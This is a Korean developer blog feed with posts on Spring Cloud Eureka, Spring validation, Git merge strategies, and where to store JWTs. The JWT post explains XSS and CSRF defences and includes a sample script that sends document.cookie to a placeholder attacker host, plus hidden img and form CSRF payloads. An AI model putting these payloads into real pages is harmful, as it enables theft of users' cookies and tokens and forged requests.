미들웨어 : 데이터를 주고 받는 양쪽의 서비스(웹의 예로 클라이언트와 API 서버)의 중간에 위치해 매개 역할을 하는 소프트웨어다.

Eureka는 이러한 미들웨어 기능을 하기 위해 각 연결된 서비스의 IP / PORT /InstanceId를 가지고 있고 REST기반으로 작동한다.

Eureka는 Client-Sever 방식으로 Eureka Server에 등록된 서비스는 Eureka Client로 불린다.

Eureka 프로세스

위 그림은 Eureka Server와 Eureka Client의 프로세스다.

각 서비스를 Eureka Server에 등록하게 되면 Eureka Server는 각 Eureka Client의 IP / PORT / InstanceId를 저장한다.

이후 Eureka Client가 다른 Eureka Client에게 요청을 보낼 때 Eureka에서 받아온 정보를 가지고 요청을 보낼 수 있다.

서비스가 Eureka Server에 등록될 때 자신이 살아있다는 상태값을 보낸다.
그리고 Eureka Server는 다른 Eureka Client의 정보들을 제공하고 서비스는 Local Cache에 저장한다.
이후 30초(Default)마다 Eureka Server에 Heartbeats 요청을 보내고 Eureka Server는 90초 안에 Headerbeats가 도착하지 않으면 해당 Eureka Client를 제거한다.

Eureka Server는 REST 기반이기에

Eureka Client 등록 / Eureka Client 정보 가져오기 / Heartbeats / Eureka Client 삭제 등 다양한 기능을 HTTP를 이용해 사용할 수 있다.

다음은 위 기능에 해당한는 HTTP Endpoint다.

Operation	HTTP Action	Description
Eureka Client 등록	POST /eureka/apps/appID	Input: JSON/XML payload HTTP Code: 204 on success
Eureka Client 삭제	DELETE /eureka/apps/appID/instanceID	HTTP Code: 200 on success
Heartbeats	PUT /eureka/apps/appID/instanceID	HTTP Code: * 200 on success * 404 if instanceID doesn’t exist
Eureka Client 목록	GET /eureka/apps	HTTP Code: 200 on success Output: JSON/XML

이제부터 Eureka Server와 Eureka Client 예제를 만들고 위 API중 몇개를 실습해보자.

Eureka Server

먼저 Eureka Server를 구축해보자.

Gradle 의존성은 다음과 같다.

dependencies {
    implementation 'org.springframework.cloud:spring-cloud-starter-netflix-eureka-server'
}

설치후 다음과 같이 메인 클래스에 @EnableEurekaServer 어노테이션을 붙여 Eureka Server임을 알려준다.

@SpringBootApplication
@EnableEurekaServer
public class DiscoveryApplication {
    public static void main(String[] args) {
        SpringApplication.run(DiscoveryApplication.class, args);
    }
}

application.yml은 다음과 같다.

server:
  port: 8761

spring:
  application:
    name: discovery-service

eureka:
  client:
    register-with-eureka: false #eureka server를 registry에 등록할지 여부
    fetch-registry: false       #registry에 있는 정보들을 가져올지 여부

이게 Eureka Server 기본적인 설정이 끝이다.

이제 서버를 구동하고 http://localhost:8761을 입력하면 다음과 같은 Eureka Dashboard가 출력된다.

Eureka Server Dashboard

현재 Eureka Server에는 등록된 Eureka Client가 없기 때문에 Instances가 없다고 출력된다. 이제 Eureka Client로 등록할 서비스를 하나 만들어보자.

Eureka Client

Eureka Client로 등록하기 위해서는 아래와 같은 의존성을 추가해야한다.

dependencies {
    implementation 'org.springframework.cloud:spring-cloud-starter-netflix-eureka-client'
}

Eureka Server와 똑같이 메인 클래스에 Eureka Client라는 것을 알리는 @EnableDiscoveryClient 어노테이션을 사용한다.

@SpringBootApplication
@EnableDiscoveryClient
public class DemoApplication {
    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }
}

application.yml은 다음과 같다.

spring:
  application:
    name: eureka-client-ex

server:
  port: 8080

eureka:
  client:
    register-with-eureka: true
    fetch-registry: true
    service-url:
      defaultZone: http://127.0.0.1:8761/eureka #Eureka Server 명시

이제 서버를 실행하면 위에서 작동한 Eureka Server에 등록되어 다음과 같이 instance에 표시되는걸 확인할 수 있다.

Eureka API

이제 Postman을 사용해 위에서 봤던 Eureka Server API중 Eureka Instance 조회, 삭제를 해보자.

조회

GET /eureka/apps

Eureka Instance 조회

현재 등록된 Instance Eureka-Client-Ex의 정보가 출력되는 것을 볼 수 있다.

참고로 Json으로 보고 싶을 땐 HTTP 요청헤더에 Accept: application/json을 달고 보내야한다.

삭제

DELETE /eureka/apps/{appID}/{instanceID}

appID 같은 경우 위의 목록에서 "app"에 해당되는 부분이고 instanceID는 "instanceID"에 해당되는 값이다.

Instacne 삭제

DELETE를 통해 Instance 목록에서 삭제된 것을 확인할 수 있다.

다음 포스팅에서는 Spring Cloud Gateway에 대해 알아보자.

참조

https://sabarada.tistory.com/61

https://github.com/Netflix/eureka/wiki/Eureka-REST-operations

https://netflixtechblog.com/netflix-shares-cloud-load-balancing-and-failover-tool-eureka-c10647ef95e5

[스프링] Validation 방법(Validator, Bean Validation) 설명/예제

Awdsd — Sat, 7 Aug 2021 23:59:46 +0900

이번 글에서는 스프링의 Validation 하는 방법인 Validator과 Bean Validation에 대해 알아보자.

Validator

첫번째 방법은 Validator Interface를 사용한 방법이다.

Validation Interface는 다음과 같이 정의되어있다.

public interface Validator {
    boolean supports(Class<?> clazz);
    void validate(Object target, Errors errors);
}

위 Interface를 구현하고 스프링에서 제공하는 WebDataBinder를 통해 등록해서 사용할 수 있다. WebDataBinder는 스프링 파라미터의 바인딩과 검증 기능을 제공한다.

Validator 구현체를 다음과 같이 구현했다.

@Component
public class TestValidator implements Validator {
    /**
     * 검증하려는 클래스를 체크
     */
    @Override
    public boolean supports(Class<?> clazz) {
        return clazz.isAssignableFrom(Test1.class);
    }

    /**
     * 검증
     */
    @Override
    public void validate(Object target, Errors errors) {
        Test1 test1 = (Test1) target;
        //age가 1000보다 클 경우
        if(test1.getAge() > 1000) {
            //에러 field와 에러 code를 입력
            errors.rejectValue("age", "age가 1000보다 큽니다");
        }
        //name이 입력되지 않았을 경우
        if(!StringUtils.hasText(test1.getName())) {
            errors.rejectValue("name", "이름이 입력되지 않았습니다.");
        }
    }
}

@Data
public class Test1 {
    String name;
    Integer age;
}

supports() : 검증하려는 클래스를 체크하는 메소드이다. 위 같은 경우 Test1 클래스를 검증하기 위해 Test1를 체크한다.
validate() : 실제로 데이터를 검증하는 로직이 들어있다.

Controller는 다음과 같다.

@RestController
@Slf4j
@RequiredArgsConstructor
public class ValidateTestController {

    private final TestValidator testValidator;

    /**
     * 컨트롤러 호출될 때마다 이 메소드 호출
     */
    @InitBinder
    public void init(WebDataBinder webDataBinder) {
        webDataBinder.addValidators(testValidator);
    }

    @GetMapping("/validate")
    public Object validateTest(@ModelAttribute Test1 test1, BindingResult bindingResult) {
        testValidator.validate(test1, bindingResult);
        if(bindingResult.hasErrors()) {
            return bindingResult.getFieldErrors();
        }
        return "success";
    }
}

@InitBinder 어노테이션은 해당 Controller가 호출될 때마다 해당 메소드가 수행되게 한다. 이 구문에서 WebDataBinder를 통해 Validator를 등록한다.

이제 요청(/validate)를 수행하면 Test1 VO에 데이터를 입력해 testValidator.validate()를 통해 검증을 수행한다.

BindResult는 검증을 수행하면서 발생한 검증 에러를 담는 객체이다.

검증이 끝난후 bindingResult.hasErrors()를 이용하면 에러가 있었는지 체크할 수 있고 getFieldErrors()로 에러 목록을 가져올 수 있다.

geFieldErrors() 출력

모든 Controller의 메소드마다 검증을 수행하려면 validate()를 수행해야할까? @Validated 어노테이션을 이용해 생략할 수 있다.

@RestController
@Slf4j
@RequiredArgsConstructor
public class ValidateTestController {

    private final TestValidator testValidator;

    /**
     * 컨트롤러 호출될 때마다 이 메소드 호출
     */
    @InitBinder
    public void init(WebDataBinder webDataBinder) {
        webDataBinder.addValidators(testValidator);
    }

    @GetMapping("/validate")
    public Object validateTestV2(@Validated @ModelAttribute Test1 test1, BindingResult bindingResult) {
        //@Validated를 사용하면 testValidator.validate()를 생략할 수 있음.
        if(bindingResult.hasErrors()) {
            return bindingResult.getAllErrors();
        }
        return "success";
    }
}

위처럼 검증할 객체에 @Validated를 붙여줌으로써 자동으로 검증하여 BindingResult에 담아준다. 결과는 위와 동일하다.

Bean Validation

Bean Validation은 특정 기능 구현체가 아니라 Bean Validation2.0(JSR-380)이라는 기술 표준이다.

쉽게 이야기해서 검증 어노테이션과 여러 인터페이스 모음이다.EX)JPA는 표준 기술, 하이버네이트는 구현체

Bean Validatio의 일반적인 구현체는 하이버네이트 Validator이다.

Bean Validation을 사용하기 위해 아래 의존성을 추가해야 한다.

implementation 'org.springframework.boot:spring-boot-starter-validation'

Bean Validation을 적용한 예시는 다음과 같다.

@Data
public class Test1 {
    
    @NotBlank
    String name;
    
    @Max(1000)
    Integer age;
}

위 처럼 각 속성마다 검증하고 싶은 Bean Validation Annotation을 붙이면 된다. 위의 어노테이션은 Validator에서 봤던 검증 기능을 그대로 구현한것이다.

Bean Validation 어노테이션은 다음과 같이 여러가지가 있다.

어노테이션 이름	기능
@AssertFalse	False일 경우
@AssertTrue	True일 경우
@DecimalMax(value=)	지정 값 이하 실수
@DecimalMin(value=)	지정 값 이상 실수
@Digits(integer=,fraction=)	속성 값이 지정된 정수화 소수 자리수보다 적을 경우
@Future	속성 날짜가 현재보다 미래인 경우
@Past	속성 날짜가 현재보다 과거인 경우
@Max(value)	지정 값이하인 경우
@Min(value)	지정 값이상인 경우
@NotNull	널이 아닌 경우
@Null	널인 경우
@Pattern(regex=, flag=)	해당 정규식 통과인 경우
@Size(min=, max=)	문자열 또는 배열이 지정값 사이인 경우
@Valid	확인 조건 만족한 경우

Controller는 어떻게 변경되는지 보자.

@RestController
@Slf4j
@RequiredArgsConstructor
public class ValidateTestController {

    @GetMapping("/validate2")
    public Object validateTestV2(@Validated @ModelAttribute Test1 test1) {
        return "success";
    }
}

위에서 작성했던 @Initbinder 어노테이션, BindingResult, Validator가 모두 사라진 것을 볼 수 있다.

Test1.name에 빈값, Test1.age에 1000이상의 숫자를 요청했을 때 결과는 다음과 같다.

Field error in object 'test1' on field 'name': rejected value []; codes [NotBlank.test1.name,NotBlank.name,NotBlank.java.lang.String,NotBlank]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [test1.name,name]; arguments []; default message [name]]; default message [공백일 수 없습니다]
Field error in object 'test1' on field 'age': rejected value [1001]; codes [Max.test1.age,Max.age,Max.java.lang.Integer,Max]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [test1.age,age]; arguments []; default message [age],1000]; default message [1000 이하여야 합니다]]

그리고 400 BadRequest를 던진다.

물론 Validator때와 같이 BindingResult를 사용할 수 있다.. 아래는 Bean Validation으로 검증했을 때 BindingResult에 담기는 에러이다.

또한 에러 코드 메시지를 보면 default로 '공백일 수 없습니다' 또는 '1000 이하여야 합니다'가 발생하는데 메시지를 수정하고 싶다면 다음과 같이 어노테이션에 message 속성을 사용해 메세지를 변경할 수 있다.

@Data
public class Test1 {

    @NotBlank(message = "공백X")
    String name;

    @Max(value = 1000, message = "1000 초과 X")
    Integer age;
}

- Bean Validatioin이 작동하는 과정 -
위 spring-boot-starter-validation 의존성을 등록하면 Spring에서 자동으로 'LocalValidatorFactoryBean'을 Global Validator에 등록하는데 이 Validator가 검증 어노테이션(@NotNull등)을 통해 검증을 수행한다. 그렇기 때문에 검증을 원하는 객체는 @Validated 어노테이션을 적용해야한다.

또한 Bean Validation은 Binding에 성공한 필드만 적용된다. 즉, Integer 타입의 속성에 String값이 들어오면 Bean Validation검증전에 TypeMismatch로 처리된다.

특정 상황에만 Validation 어노테이션을 적용하고 싶은 경우가 있을텐데 이럴때는 group 속성 기능을 사용할 수 있다.

먼저 특정 상황을 구별할 빈 Interface 두개를 만들자.

public interface Test1Check {
}

public interface Test2Check {
}

이제 아래와 같이 Validation 어노테이션에 group속성을 이용해 interface를 등록한다.

@Data
public class Test1 {

    @NotBlank(message = "공백X", groups = {Test1Check.class, Test2Check.class})
    String name;

    @Max(value = 1000, message = "1000 초과 X", groups = {Test1Check.class})
    Integer age;
}

그리고 Controller에서는 아래처럼 @Validated 어노테이션에 수행할 validation 어노테이션에 등록된 인터페이스를 명시해준다.

@RestController
@Slf4j
@RequiredArgsConstructor
public class ValidateTestController {

    @GetMapping("/validate")
    public Object validateTestV2(@Validated(Test2Check.class) @ModelAttribute Test1 test1, BindingResult bindingResult) {
        if(bindingResult.hasErrors()) {
            return bindingResult.getFieldErrors();
        }
        return "success";
    }
}

위 코드는 Test2Check 인터페이스가 등록된 Validation 어노테이션을 검증하라는 뜻이다. 즉, age 속성에 등록된 @Max 어노테이션 검증은 수행되지 않는다.

마지막으로 검증 에러가 발생하면 BindException 예외가 발생하는데 @ControllerAdvise를 이용해 커스텀 Response를 보내는 코드는 다음과 같다.

@ControllerAdvice
public class ControllerExceptionHandler {
    @ExceptionHandler(BindException.class)
    public ResponseEntity<String> bindExceptionHandler(BindException e) {
        return new ResponseEntity<>(
                e.getFieldErrors().stream()
                        .map(fe -> fe.getField() + " " + fe.getRejectedValue() + " " + fe.getDefaultMessage())
                        .collect(Collectors.joining(", "))
                , HttpStatus.BAD_REQUEST);
    }
}

위와 같이 BindException이 걸렸을 경우 필드와 입력값 메시지를 출력하고 BadRequest(400)을 보내게끔 했다. 결과는 아래와 같다.

name, age 모두 검증 에러 발생했을 때 결과

참고

https://meetup.toast.com/posts/223

https://www.inflearn.com/course/%EC%8A%A4%ED%94%84%EB%A7%81-mvc-2/dashboard 인프런 스프링 MVC 2편 - 백엔드 웹 개발 활용 기술(김영한 개발자님)

[Git] Branch 병합 전략(Merge, Rebase, Squash) 개념/예제

Awdsd — Fri, 25 Jun 2021 20:04:44 +0900

이번 포스팅에서는 Git 브랜치 병합 전략에 대해 포스팅하려 한다. 평소에 Git을 사용하며 Merge만 거의 사용해서 브랜치를 합쳤는데 이렇게 하니 히스토리가 지저분해진 것을 보고 Rebase와 Squash에 대해 제대로 알고 사용하고자 정리해놓으려한다.

브랜치 병합 전략에는 3가지가 있다.

1. Merge
2. Rebase Merge
3. Squash Merge

1. Merge

먼저 가장 기본 병합 방법인 Merge에 대해 알아보자.

Merge에는 여러가지 방식이 있지만 크게는 두가지의 방식이 많이 사용된다.

Fast-Forward
3-Way-Merge

Fast-Forward

먼저 아래의 Commit 히스토리를 보자.

master 브랜치에서 생성된 A 브랜치가 두 번의 Commit을 한 상태이다.

이 상태에서 A 브랜치를 master에 Merge를 한다면 master의 위치가 A로 바로 이동하는 것을 확인할 수 있다.

이처럼 A브랜치를 Merge할 때 조상 브랜치인 Master에 변경점이 없다면 Master브랜치를 바로 A브랜치로 이동해서 Merge하는 것을 Fast-Forward라 한다.

3-Way-Merge

이번에는 Fast-Forward랑 다르게 아래처럼 A브랜치와 Master 브랜치 둘다 변경사항이 있을 경우에 Merge하는 가장 일반적으로 경우이다.

위의 상태에서 A브랜치를 master브랜치에 Merge하면 아래와 같은 결과가 나온다.

3-Way-Merge는 각 브랜치의 최신 Commit과 공통 조상(Base) 커밋 ('A1 생성') 을 비교하고 새로운 Commit을 만들어 Merge하는 전략이다.

아래 표는 3-Way-Merge의 Merge 과정이다.

A 브랜치	Base	master 브랜치	Merge
Code1 변경	Code1	Code1	A 브랜치 Code1 적용
Code2	Code2	Code2 변경	master 브랜치 Code2 적용
Code3 변경	Code3	Code3 변경	충돌(Conflict) 발생

위 표를 보면 조상(Base) Commit 기준으로 A 브랜치에서 Code1을 변경하고 master 브랜치에서 변경을 안했으면 A의 작업이 반영되고, 그 반대인 master 브랜치가 작업한 Code3도 반영된다. 하지만 Code2는 A, master 모두 변경했기 떄문에 충돌 가능성이 생긴다.

이러한 비교 과정을 거쳐 dev 브랜치의 작업내용이 Merge Commit에서 적용되어 master에 Merge된다.

Merge의 특징은 다음과 같다.

변경 내용의 커밋 내역이 모두 그대로 남는다.
Merge시 Merge Commit이 새로 생긴다.

이러한 특징때문에 불필요한 Commit 내역(Merge Commit)이 생겨 히스토리가 지저분해져서 협업 과정에서 Commit 확인에 불편함이 생긴다.(수십명이 하나의 Git 저장소를 사용하고 모두가 Merge를 사용한다면...)

그래서 이러한 문제를 해결할 방법이 이 다음에 살펴볼 Rebase이다.

2. Rebase

Rebase란 공통 base(조상)를 가진 두 브랜치에서 하나의 브랜치의 base를 다른 브랜치의 최신 Commit을 base로 하게끔 재정렬 하는 것을 의미한다. 빠르게 예제를 보자.

위 처럼 dev, master 브랜치의 공통 base('dev4')커밋에서 dev, master 브랜치가 작업을 했다고 가정하자.

이 상태에서 dev를 master에 merge하면 master 브랜치에 merge Commit이 하나 생기면서 Merge가 될 것이다.

하지만 dev 브랜치를 master 브랜치에 Rebase를 하게 될 경우 base('dev4')부터 dev branch의 Commit('dev5', 'dev6')을 master branch의 다음 Commit으로 재정렬 한다.

$ git checkout dev
$ git rebase master

Rebase를 수행하면 위처럼 master 브랜치에 dev 브랜치 Commit이 정렬된것을 확인할 수 있다.

주의할 점은 master 브랜치의 위치이다. 아직 master 브랜치에서는 dev 브랜치 내역을 Merge 한것이 아니기 때문에 master 브랜치에서 dev 브랜치를 Fast-Forward-Merge 해야 한다.

$ git checkout master
$ git merge dev

Rebase를 수행할 경우 Merge와 다르게 Merge Commit이 생기지않는다. 하나의 브랜치에서 작업한 것처럼 보이므로 히스토리를 간결하게 하고 싶을 때 사용한다.

이제 Rebase를 통해 Merge Commit을 만들지 않고 히스토리를 깔끔하게 유지 할 수 있게되었다. 하지만 더 나아가 내가 작업한 Commit이 너무 많아 지저분해 보인다면 어떡할까? 이에 대한 해결방법에는 Squash가 있다.

3. Squash

Git Squash는 여러개의 Commit을 하나의 Commit으로 만들어준다.

dev 브랜치의 'dev squash', ''dev14', 'dev15' Commit을 합쳐보자. Squash를 하려면 Rebase에 -i 옵션을 이용해야한다.

$ git rebase -i [CommitID]

위 명령어를 사용할 시 입력한 Commit Hash 다음 Commit 내역들이 표시되게 된다.

위의 'squash' CommitID를 입력하면 아래와 같은 창이 나타난다.

$ git rebase -i 56f3f1a

먼저 맨위의 3줄을 보면 'squash' Commit의 다음 Commit 내역들이 출력된 걸 볼 수 있고, 아래에는 명령어 옵션들이 써있는 것을 볼 수 있다.

여기서 우리는 squash 옵션을 사용해 Commit을 합칠 수가 있는데 합치고자 하는 시작 Commit에 pick옵션을 주고 합쳐질 Commit에는 squash를 입력해준다.

이 상태에서 저장하면

이러한 두번째 창이 뜨게 되는데 이 창은 합쳐진 Commit의 새로운 Commit Message를 입력해야 한다.

이렇게 입력하고 저장하면

'squash' 다음의 dev brach 커밋 내역이 합쳐진 것을 확인할 수 있다.

pick과 squash를 사용하면 하나의 커밋이 아닌 원하는 커밋 수로 압축할 수 있다.

위 처럼 pick을 두개 지정하고 squash를 두번 행하면 commit message 입력창이 두번 나오고 아래처럼 두개의 Commit으로 합칠 수 있다.

다른 옵션들

위의 git rebase -i 를 입력했을 때 아래와 같은 옵션을 볼 수 있는데 pick과 squash는 알아봤으니 아래 옵션중 reword, fixup, drop에 대해 알아보자

reword

reword는 단순히 Commit Message를 바꿀 수 있다.

fixup

fixup은 squash와 기능은 동일 하지만 커밋 메시지를 새로 쓸 수 없고 pick한 부분의 커밋 메시지로 합쳐진다.

drop

drop을 사용하면 해당 커밋을 제거할 수 있다. 물론 해당 커밋에서 변경된 작업도 원래대로 돌아간다.

JWT 저장소에 대한 고민(feat. XSS, CSRF)

Awdsd — Thu, 22 Apr 2021 15:41:37 +0900

최근 REST API 서버를 구현하며 Spring Security로 JWT 인증을 구현했다. Access_Token, Refresh_Token을 어디다 저장할지에 대해 고민하다 CSRF에 대한 긍금증까지 생기게 되어 공부를 했다. 이번 포스팅은 JWT에 저장소에 대한 고민하면서 공부한 내용들을 정리한 글이다.

1. JWT 발급 프로세스

먼저 기존에 필자가 구현한 JWT 발급 프로세스를 간단히 살펴보자.

로그인 요청시 인증 서버에서 accessToken, refreshToken을 발급해 Header를 통해 전달
API요청시 accessToken을 Header에 넣고 요청
만약 accessToken이 만료일 경우 인증 서버로 refreshToken을 전달해 재발급 받는다.

여기서 accessToken과 refreshToken은 localStorage에 저장된다. 여기서 고민이 생겼다. 토큰을 localStorage에 저장해도 될까?

2. JWT 저장할 때 고려할 점

최근 이 고민때문에 수많은 Stack Overflow와 블로그글을 살펴봤다. 많은 글을 보면서 다들 공통적으로 고민하는 부분이 있다는 것을 알았다. 바로 XSS공격과 CSRF공격이다.

XSS(Cross Site Scripting)

XSS

XSS는 보안이 취약한 웹사이트에 악의적인 스크립트를 넣어놓고 사용자가 이 스크립트를 읽게끔 유도하여 유저의 정보를 빼오는 공격 기법이다.

보통 웹사이트 게시글에 악의적인 스크립트를 넣어 유저가 게시글에 들어가게끔 유도하게 하여 공격한다.

예를 들어 게시글에 아래와 같은 태그를 넣고 누르게끔 유도하면 javascript가 실행되는데 저게 alert()명령이 실행된다.

<a href="javascript:alert('hello world')">클릭해보세요</a>

이런식으로도 공격당할 수 있다.

<script>document.location='http://hacker.com/cookie?'+document.cookie</script>

위의 스크립트를 실행하게 되면 사용자가 가지고 있는 쿠키 또는 LocalStorage 값을 해커의 서버로 전송할 수 있게된다. 즉 JWT도 이러한 방식으로 탈취될 수 있다는 것이다.

CSRF(Cross-site request forgery)

CSRF

XSS는 사용자가 악의적인 스크립트를 실행하여 사용자의 정보를 탈취하는 공격 즉 사용자를 대상으로한 공격이다.

CSRF는 사용자 의지와는 상관없이 해커가 의도한 행위(수정, 삭제, 등록 등)를 사용자 권한을 이용해 서버에 요청을 보내는 공격을 의미한다.

예를 들어 사용자가 A사이트(http://user.com)에 로그인이하여 Cookie를 가지고 있다고 하자.

이 상태에서 해커가 사용자에게 악의적인 사이트에 들어오도록 유도한다.(스팸 메일 등) 악의적인 사이트에는 A사이트에 생성, 수정, 삭제등의 요청을 보내는 스크립트가 들어있다.

<img src="http://user.com/get" width="0" height="0" />

<!--또는-->

<form action="http://user.com/delete" method="post"> 
  <input type="hidden" name="body" value="추천인을 써주세요" />
  <input type="submit" value="전송"/>
</form>

위의 태그 img, form태그를 이용해서 사용자가 의도치 않게 A사이트에 요청을 보내게되면 사용자가 로그인했을 때 생긴 Cookie가 같이 전송되는 것이다.(브라우저에서 A사이트에서 받은 Cookie를 자동으로 서버로 전송한다.)

그렇게 되면 사용자는 의도치 않게 (생성, 수정, 삭제) 요청을 보내게된다.

3. 그럼 어쩌라는걸까?

위의 내용으로 봤을 때 LocalStorage, Cookie 둘다 취약점이 존재하는데 어디에 저장해야한다는 걸까? 여기서 이제 많은 글을 찾아봤다. LocalStorage와 Cookie에 저장했을 때 각각의 특징을 보자.

LocalStorage

위에서 말했듯이 LocalStorage로 저장했을 경우 XSS 공격에 취약하다.(JS를 통해 LocalStorage에 접근할 수 있기때문)

function saveLocalStorage() {
  localStorage.setItem("Test", "Test")
}

하지만 LocalStorage에 저장하면 CSRF공격에는 방어가 된다. 왜냐하면 CSRF는 기본적으로 브라우저에서 자동으로 보내주는 Cookie를 통해 공격이 이루어지기 때문이다.

Cookie에 JWT를 저장할 경우

Cookie도 LocalStorage랑 마찬가지로 XSS에 탈취당할 가능성이있다.

하지만 Cookie에는 HttpOnly라는 옵션이 존재하는데 이 옵션을 지정하면 Script에서 Cookie를 읽어올 수 없게한다. 이로인해 악의적인 Script에서 Cookie를 가져올 수 없기 때문에 XSS공격에 방어가 된다.

결국 CSRF에는 아직 취약한데 여기서 하나의 방법이 JWT Token을 Cookie가 아닌 Header에 넣고 요청을 보내는 것이다. 이럴 경우 CSRF공격을 통해 쿠키가 전달되도 서버에서는 Cookie값을 사용하지 않기 때문에 CSRF를 통한 공격을 방어할 수 있다.

하!지!만! Header에 Cookie를 넣기 위해서는 JS에서 요청 보낼 때 Cookie를 Header에 넣기 때문에 HttpOnly 옵션을 해제해야한다...

그래서?

하지만 많은 글을 찾아보면서 결국 저장 장소로는 LocalStorage보다는 Cookie에 저장하는 것이 더 선호되는 편인것 같았다.

그 이유로는 결국 XSS공격을 HttpOnly 옵션을 통해 방어할 수 있고 CSRF 방어같은 경우에는 아래와 같은 보편적인 방법이 있다.

Csrf Token
임의의 난수(Csrf Token)를 생성해 서버 메모리(세션)에 저장하고 클라이언트에 전달한다.
클라이언트는 중요한 요청(생성, 삭제, 수정)을 보낼 때 파라미터로 Csrf Token을 같이 보내 검증을 한다. 이렇게 했을 경우 CSRF 공격을 당해도 CSRF Token은 서버에 전달되지 않으므로 서버는 요청을 수행하지 않게 된다.

Cookie Referer Check
요청을 보내면 요청을 보낸 Domain을 알 수 있는데 이 Domain이 내가 허용한 Domain에서 온 요청인지 체크하면 된다. 일반적으로 Referer Check로만 대부분의 CSRF를 방어할 수 있다.

Cookie SameSite
Cookie의 SameSite 속성은 외부 사이트에 쿠키 전송할 범위를 설정할 수 있다.
속성은 총 3가지가 있다.

1. Strict : Cookie를 전달 할 때 현재 페이지 도메인과 요청받는 도메인이 같아야만 쿠키가 전송

2. Lax : Strict에서 <a href>, <link href>, GET Method 요청을 제외하고 Strict랑 같음(크롬 80버전부터는 SameSite Default값이 Lax로 설정된다)

3. None : 도메인 검증 안함 (대신 secure 옵션이 필수로 붙어야함) SameSite를 사용하기 위해서는 프론트와 백엔드의 도메인을 맞추거나 Nginx 프록시를 사용해서 요청을 해야할 것이다.

결국 이러한 이유때문에 JWT Token은 LocalStorage보단 Cookie에 저장하는 것을 권장된다 생각한다.

마지막으로 만약 REST API 서버가 외부에 공개되지 않는 경우에는 SE단계에서 방화벽으로 특정 IP(배포 서버 IP)만 허용을 하면 된다는 생각을 해본다.